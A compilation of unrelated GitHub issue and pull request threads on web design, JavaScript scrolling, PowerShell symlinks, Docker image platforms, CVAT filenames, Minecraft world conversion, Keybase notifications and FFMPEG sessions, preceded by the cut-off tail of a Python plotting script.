    # Plot temperatures
    ax21.plot(time_h[7200*24:7207*24], T_f_out[7200*24:7207*24])
    ax21.legend()
    # Adjust to plot window
    plt.tight_layout()
    return

# Main function
if __name__ == '__main__':
    out = main()

Figures


Home page redesign [WIP]

Per #8, this pull will contain the new design. Opening early for discussion/review.

Shipping to get this out the door. For comments/feedback, feel free to leave notes here, or open a new issue.
Some notes:

I left the blog off the nav for now, will address blog styling and surfacing it in a later pull
Still needs more mobile styling; will address in later pull
Several items in the nav just link elsewhere for now (e.g. docs & why hospitalrun); those things should live on this site eventually
Demo page still needs some design cleanup too, but will address in a later pull


Issue #2453489: Panels IPE toolbar is incorrect height, causing blank...

...space to appear at bottom of page

Awesome. Thanks.

Thanks for the fast merge! :-)


Install and configure Fedora 6.x in AWS

Use the fcrepo-docker to install and configure Fedora 6.x in the UVa AWS environment.

A Terraform script is now available: https://github.com/fcrepo4-labs/fcrepo-aws-deployer


Recognizes waypoints on initialize but not on scroll

Hi,
I've got a problem with jQuery Waypoints 4.0.0, everything seems to work fine until i interact with the waypoints. It seems the first waypoint doesn't work.
What I'm trying to achieve is to change the text in navigation depending on where you are at the page and I almost got it working. It works on initialize (it recognizes the first chapter and sets the text from that attribute "data-title") and when I'm scrolling the page it changes text on each chapter except if i scroll to "Chapter 1" again.
Is this a bug or am i doing something wrong?
Here's a jsfiddle:
https://jsfiddle.net/zlitrox/dggc9xxg/2/

It's not a bug and you haven't done anything wrong. I believe you have half of the implementation you need.

It seems the first waypoint doesn't work.

I'd argue all of them don't completely work. In the screenshot below I've scrolled almost to Chapter 2. The sidebar says Chapter 1. So far so good.

When I scroll past Chapter 2, then scroll back up to the same spot, the sidebar now says Chapter 2.

I bet this wasn't intentional. I bet, like most people in the majority of cases, you would like the sidebar to be the same value when at the same scroll position no matter what direction the user was scrolling when they landed there. You have the scrolling down part working fine, now let's handle the scrolling up direction. When we hit a waypoint scrolling up, we'll set the sidebar text to the title of the waypoint above it: https://jsfiddle.net/dggc9xxg/4/
With this pattern in place I like to change the offset to a higher percent, something between 10-50%, but that's just personal preference.


Reference ngx-translate-multi-http-loader

I have forked your ngx-translate http loader and extended it so that it can use multiple translation files.
Issue Thread on ngx-translate:
https://github.com/ngx-translate/core/issues/199
Solved by my fork:
https://github.com/denniske/ngx-translate-multi-http-loader

Can you make the PR against "core" to add it to the plugins list instead? https://github.com/ngx-translate/core#plugins

Here it is:
https://github.com/ngx-translate/core/pull/875


Frontend rules are not supported for repeating groups

Describe the bug
Frontend rules are not supported for repeating groups.
This can however be solved with backend calculations.
To Reproduce
Steps to reproduce the behavior:

Go to an app with a repeating group
Try adding a rule targeting rep group
See that this is not possible.

Expected behavior
This should work as expected. See implementation for dynamics.

Mulig løst via #355 (ny dynamikk via uttrykk, som har støtte for rep.grupper). Denne dynamikken har støtte for vis/skjul, men den har fortsatt ikke støtte for kalkuleringer (men det er planlagt støttet).

Lukker fordi kalkulering er eget issue. #646


it always says hiya cfw helper has stopped responding

could i give someone my nand through discord or somthing so they can mod it ?

What's your windows version?


Leverage new API for creating symlink without administrator privileges on Windows

Just saw this get posted today: https://blogs.windows.com/buildingapps/2016/12/02/symlinks-windows-10/
We should opt-in to this API so that we're uniform across all platforms in allowing non-admins to create links.
Steps to reproduce
Try to create a symlink as a non-admin. You'll get a permission denied.
Expected behavior
(as non-admin)
PS C:\temp> New-Item -type SymbolicLink -Path link -Value source

    Directory: C:\temp
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a---l        12/5/2016   6:39 PM              0 link

Actual behavior
PS C:\temp> New-Item -type SymbolicLink -Path link -Value source
New-Item : Administrator privilege required for this operation.
At line:1 char:1
+ New-Item -type SymbolicLink -Path link -Value source
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\temp\source:String) [New-Item], UnauthorizedAccessException
    + FullyQualifiedErrorId : NewItemSymbolicLinkElevationRequired,Microsoft.PowerShell.Commands.NewItemCommand

Environment data
All versions of Windows PowerShell 5.x and PowerShell Core 6.0.

Will the API be ported on Windows 7/8?

@iSazonov no, and what's more, adding the flag to builds < 14972 will cause an invalid parameter error (according to this thread). That said, the flag can be conditionally added after checking the current build.

This issue still repros in RS4 build 17134

It's already two years after the feature is released. Is there any update on this feature?

https://github.com/PowerShell/PowerShell/issues/2845
https://github.com/PowerShell/PowerShell/issues/5000
https://github.com/PowerShell/PowerShell/pull/8534


job: cloud-provider should never exists.

cloud-provider's functionality should be merged into bosh's cpi, not a separate job in a bosh release.

some thoughts:

i think the iaas related part is only required for k8s persistence support ?
are there any other option as iaas block device ? (say, id like to use a nfs filer to hold k8s volumes)
looks akin to cloudfoundry persistence support. Volume driver/plugin abstraction could do ?
not convinced we should use the bosh cpis for this. AFAIK cpi only manages a single persistent disk.

This work is now considered as being outside the scope of this project.
We recently made an attempt to incept a track of work in a different Pivotal team but we decided to not move forward at this time due to the complexity.


calculate_business_date bugfix

Reverse calculations non neccesarily do day rounding.

This change is

Pull Request Test Coverage Report for Build 2853

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 71.094%

Totals

Change from base Build 2845:
0.0%

Covered Lines:
1884

Relevant Lines:
2650

💛  - Coveralls

Pull Request Test Coverage Report for Build 2853

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 71.094%

Totals

Change from base Build 2845:
0.0%

Covered Lines:
1884

Relevant Lines:
2650

💛  - Coveralls


Change default host to npipe transport

This matches the default behavior of Docker on Windows.

I need to test this before it is merged.

LGTM. But you can merge after testing.


Platform selection in docker client has unnecessary error

What happened:
❯ go run examples/basic.go docker:busybox:1.31@sha256:91c15b1ba6f408a648be60f8c047ef79058f26fa640025f374281f31c8704387
[0000] DEBUG image: source=DockerDaemon location=busybox:1.31@sha256:91c15b1ba6f408a648be60f8c047ef79058f26fa640025f374281f31c8704387
[0000] DEBUG pulling docker image="busybox:1.31@sha256:91c15b1ba6f408a648be60f8c047ef79058f26fa640025f374281f31c8704387"
[0000] DEBUG using docker config="/Users/willmurphy/.docker/config.json"
[0000] DEBUG using docker credentials for "index.docker.io/v1/"
panic: unable to use DockerDaemon source: image has unexpected architecture "s390x", which differs from the user specified architecture "arm64"

goroutine 1 [running]:
main.main()
        /Users/willmurphy/work/stereoscope/examples/basic.go:38 +0x60c
exit status 2

This error affects syft:
❯ syft packages docker:busybox:1.31@sha256:91c15b1ba6f408a648be60f8c047ef79058f26fa640025f374281f31c8704387
 ⠹ Pulling image

2023/06/01 13:52:00 error during command execution: 1 error occurred:
        * failed to construct source from user input "docker:busybox:1.31@sha256:91c15b1ba6f408a648be60f8c047ef79058f26fa640025f374281f31c8704387": could not fetch image "busybox:1.31@sha256:91c15b1ba6f408a648be60f8c047ef79058f26fa640025f374281f31c8704387": scheme "docker" specified; image retrieval using scheme parsing (busybox:1.31@sha256:91c15b1ba6f408a648be60f8c047ef79058f26fa640025f374281f31c8704387) was unsuccessful: unable to use DockerDaemon source: image has unexpected architecture "s390x", which differs from the user specified architecture "arm64"; image retrieval without scheme parsing (docker:busybox:1.31@sha256:91c15b1ba6f408a648be60f8c047ef79058f26fa640025f374281f31c8704387) was unsuccessful: unable to determine image source to select platform

What you expected to happen:
Since I specified an exact digest, and didn't pass --platform, I didn't expect a validation error about the user requested platform.
How to reproduce it (as minimally and precisely as possible):
 go run examples/basic.go docker:busybox:1.31@sha256:91c15b1ba6f408a648be60f8c047ef79058f26fa640025f374281f31c8704387
Anything else we need to know?:
I chose the digest based on running docker manifest inspect busybox:1.31 and choosing the digest of a platform that doesn't match my platform.
The registry provider doesn't have this error: go run examples/basic.go registry:busybox:1.31@sha256:91c15b1ba6f408a648be60f8c047ef79058f26fa640025f374281f31c8704387 works normally.
Environment:

OS (e.g: cat /etc/os-release or similar):
M1 macbook pro, Darwin Kernel Version 22.4.0 arm64.

❯ docker version
Client:
 Cloud integration: v1.0.31
 Version:           23.0.5
 API version:       1.42
 Go version:        go1.19.8
 Git commit:        bc4487a
 Built:             Wed Apr 26 16:12:52 2023
 OS/Arch:           darwin/arm64
 Context:           default

Server: Docker Desktop 4.19.0 (106363)
 Engine:
  Version:          23.0.5
  API version:      1.42 (minimum version 1.12)
  Go version:       go1.19.8
  Git commit:       94d3ad6
  Built:            Wed Apr 26 16:17:14 2023
  OS/Arch:          linux/arm64
  Experimental:     true
 containerd:
  Version:          1.6.20
  GitCommit:        2806fc1057397dbaeefbea0e4e17bddfbd388f38
 runc:
  Version:          1.1.5
  GitCommit:        v1.1.5-0-gf19387a
 docker-init:
  Version:          0.19.0
  GitCommit:        de40ad0

Trying to run this down, there's some learnings to capture here:

Running something like docker pull myimage:mytage@sha256:somebytes can mean two completely different things: The digest sha256:somebytes can be the digest of a multi-architecture index, in which case the request to docker is to find that version of that multi-architecture index, and choose a platform out of id, and then download those bytes. Or sha256:somebytes can be the digest of a particular built image (a specific manifest), in which case that image is requested. In other words, the digest might uniquely identify a multi-architecture index, or it might uniquely identify an image (by manifest), and you can't tell which by inspecting the string. A digest does not necessarily reference exactly one image.
Specifically, you can't tell which without making a network call to the registry to download any multi-arch index the digest may refer to (e.g. by running docker manifest inspect ...)
Syft, and therefore stereoscope, should work in situations where they can talk to a docker socket but not make their own network calls, so we can't download the registry to check whether the digest from point 1 pins an index or a particular image manfiest.
The docker API, when pulling an image, doesn't let you pull an image and then receive an unambiguous identifier to what was pulled. Hence this code, which pulls an image, and then reuses the image name from the user (e.g. alpine:latest or whatever) to inspect the image. It is difficult to guarantee that these two calls will point to the same image. There is a digest returned in the JSON during pull, but it can just point to the multi-arch index, not a specific image's manifest. Also, if users have enabled "use containerd for pulling and store images" in docker settings, the events that come back from the API call are slightly different, so relying on them is brittle.


Retain original filenames when annotating in CVAT

Resolves #1432
CVAT data is sorted alphabetically by filename after they are uploaded. This can cause issues when uploading annotations that are not in the same order. To resolve this, we modify the filenames of the media to ensure the correct ordering in CVAT.
Previously, the filenames were simply overwritten with an increasing integer value. This PR prepends this integer value to the filenames in order to retain the original filename while ordering the media correctly.
The alternative is to re-order the annotations to match the original filenames sorted alphabetically, however, the view that is being annotated may be ordered in a specific way for a reason so we should not re-order it ourselves upon upload.

@brimoor Can you merge this? The tests are failing for unrelated reasons.


chore(main): release 0.7.8

:robot: I have created a release beep boop
0.7.8 (2024-09-09)
Bug Fixes

support for capital sequences and better sequence testing (#550) (48915e8)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/Autodesk/pgbelt/releases/tag/v0.7.8 :sunflower:


Sea lanterns are not converted properly in Chunker app.

Describe the bug
In the former version of MCBE, sea lanterns are saved in the world as "seaLantern". However, in Chunker app, only "sea_lantern"s are converted properly. Therefore, all of "seaLantern"s are disappeared and only remain "sea_lantern"s near to the spawn point.
To Reproduce
Steps to reproduce the behavior:

Convert BE world (1.19.20) into JE world (1.19.2) using Chunker app.
When I open the world in JE, all of "seaLantern"s are disappeared.

Screenshots

Desktop (please complete the following information):

OS: Windows 11
Browser: Chrome

Chunker Version: UI 1.5.14, APP 1.7.9, CLI 1.17.6
Additional context
My World is made in Bedrock edition that I worked very hard on for four years. If I open the server with a bedrock edition, the game often stops, so I have to convert it to a Java edition and open it. Therefore, please correct the error as soon as possible so that I can open the server with my world.

The seaLantern issue should be fixed in the latest release of Chunker, unfortunately, due to the world being from a legacy format there may still be other issues.

Closing issue based on the response from the Chunker team.


what is the distributions of image for train, validation, test.?? pls

how the neural network works, with respect to data for training, validation and testing. what percentage of data belong to each one.

Images are generated on the fly so there is no need for that, the number of images is unlimited


Guard routes in vxNavigator?

Is there any way to guard a route like beamer package?

What does that do exactly? Can you share some example?

Of course sir, thanks for take the time to reply me
https://github.com/slovnicki/beamer/tree/master/examples/guards
BeamerDelegate(
guards: [
// Guard /books/* by beaming to /login if the user is unauthenticated:
BeamGuard(
pathBlueprints: ['/books/*'],
check: (context, location) => context.isAuthenticated,
beamToNamed: '/login',
),
],
...
),

You should use something like:
 '/safe_route': (route) {
  if (!isLoggedIn()) return VxRoutePage(pageName: "Home", child: HomePage());
  return LoginPage();
}


Teams notification not going away

Teams notification is displayed and cannot be removed.
Keybase 1.0.45-20180305114930+3a1c65a
Affected environments:
Windows 10 Professional Version 1709 16299.248
Android 6.0.1
iOS 11.2.6

same on fedora 27 and keybase-<IP_ADDRESS>80313160419.f0de728311-1.x86_64

and on ios 11.3 and 1.0.45-20180305195401+3a1c65051

If you guys can run keybase log send we can investigate

sure thing. is this sufficient?
Success! Your log ID is:
5aa01ab8d5d0898bb9a9ab1c

f13fae3975fdfa7d81022d1c

@patrickxb

@rhubinak  / @mvyletel can you keybase message me with the name of the team?  I'm max. Thx

@maxtaco already messaged you the team name but as mentioned on the chat the notification is gone on both Linux and iOS.
Linux keybase-<IP_ADDRESS>80314153959.acd706b851-1.x86_64
iOS 1..45-20180305195401...

Hmmm, ok....  Out of curiosity, did one of your team members recently reset his account?

I believe so. not sure how long ago but couple weeks ago give or take.

Notification is gone on both Windows and Android

Notification is gone on both Windows and Android


dev: build failure does not stop tests from executing

This bug has existed since, it appears, v0.3.1. I am going to put it in v0.4.0 because it is pretty serious and is preventing lark from working as designed.


Fix debug drawing (used for navedit)

I've copied a bit of code from Tess_DrawElements without comprehension.
Fixes #924.

Awesome!
I confirm it fixes the bug on my end, while keeping performances acceptable for a debug draw.
With a scene on chasm, I got:

200 fps with navedit disabled,
100 fps with navedit enabled with default r_arb_map_buffer_range 1 and r_arb_buffer_storage 1,
but only 35 fps with navedit enabled and both r_arb_map_buffer_range 0 and r_arb_buffer_storage 0.

With this patch navedit works with those cvars set to 1 (default values).


Zombie FFMPEG

Configuration:

Starting ASM Sensor Node v<IP_ADDRESS>, d0decee
ASM Data Server v<IP_ADDRESS>, b3f5e36 dirty

Changes are adding asm_config.yaml, adding import DataServer to server.py

Steps to reproduce:

Started ASM Data Server on e4e-brix.dynamic.ucsd.edu
Started Sensor Node as ASM_NestingBox on local PC

Observed behavior:

Sensor node starts an RTP session, initializes on port 9101
This session times out, Sensor node starts second RTP session on 9102
Both FFMPEG sessions are still alive on the server

Desired behavior:
First FFMPEG session should time out so that the port can be reused.

asm_server.log
ASM Server Config:
data_dir: /home/asm-data/nas/data
port: 9000
server_uuid: 'fda6297c-1107-11ec-bbd2-fcaa14694a7a'
video_increment: 300

ASM Sensor Node Config:
# This is a sample configuration file for the Aye-aye Sleep Monitoring Sensor
# Node.  Use this as a basis for configuring the Raspberry Pi for the specific
# deployment environment.

# Device UUID
#
# This is the UUID that uniquely identifies this device and configuration.
# Nominally, this will be assigned to the device prior to deployment.  This
# should be unique to the device and deployment - that is, if you move a device,
# assign it a new UUID.  This is to keep the device tree identifiable.
uuid: 0579ded8-1116-11ec-a964-54e1ad5146fa

# Device Type
#
# This is the device type.  Use this field to configure the behavior of the
# device.  See the available options in SensorNode.sensor_nodes.
type: ASM_NestingBox

# Data Server
#
# This is the location of the data server.  This can either be a domain name
# such as e4e-asm.ucsd.edu, or an IP address such as <IP_ADDRESS>
data_server: e4e-brix.dynamic.ucsd.edu

# Data Server Port
#
# This is the primary port for the data server.  Refer to the data server
# configuration.
port: 9000

# Data Server UUID
#
# This is the UUID of the data server.  This is used to ensure that data is
# routed correctly on the data server.  Refer to the data server configuration
# for options.
data_server_uuid: fda6297c-1107-11ec-bbd2-fcaa14694a7a

# Sensor Node Heartbeat
#
# This is how often the heartbeat packet is sent in seconds.
heartbeat_period_s: 300

ASM_NESTING_BOX:
  video_endpoint: /dev/video2
  illumination_on: '18:00'
  illumination_off: '08:00'
  illumination_level: 90
  illumination_pin: GPIO19

asm_sensor_node.log


Added test config provider that provides options to set and clear config values

Some of the GC and summary tests use a mock config provider and a settings object to configure values. However, there is no consistent way of clearing the settings value and as a result, the values may not be cleared and new values may not be correctly set. There were a few instances of this that were fixed recently.
This change adds a ITestConfigProvider interface which is an extension of IConfigProviderBase. It adds methods set and clear which can be used to set a configs value and clear all values respectively. Tests can set values at the beginning of each test and reset all values when the test ends. This way every test will start with a clean set of configs and can add them as needed.
AB#6656

configs should never change within a provider. i think a better fix would be to not use globals, and have each test initialize what they need.

configs should never change within a provider. i think a better fix would be to not use globals, and have each test initialize what they need. you can still abstract shared things into function, just call it from each test, rather than keeping a bunch of global state managed via before after

I agree that configs should not change as that is how it works in prod. Some of the tests were using the approach that you suggested but there wasn't a consistent way and some tests did get it wrong. This is an attempt to fix GC / summary tests to not accidentally mess up the configs. I will consider doing a follow-up where globals are not used in a way that is simpler than every test having to initialize it.


Enable the new model serialization for Billingbenefits

Contributing to the Azure SDK
Please see our CONTRIBUTING.md if you are not familiar with contributing to this repository or have questions.
For specific information about pull request etiquette and best practices, see this section.

API change check
API changes are not detected in this pull request.


⚠ Spryr has degraded performance

In ec0eedf, Spryr (https://spryr.com) experienced degraded performance:

HTTP code: 200
Response time: 6027 ms

Resolved: Spryr performance has improved in 7a35c5b after 15 minutes.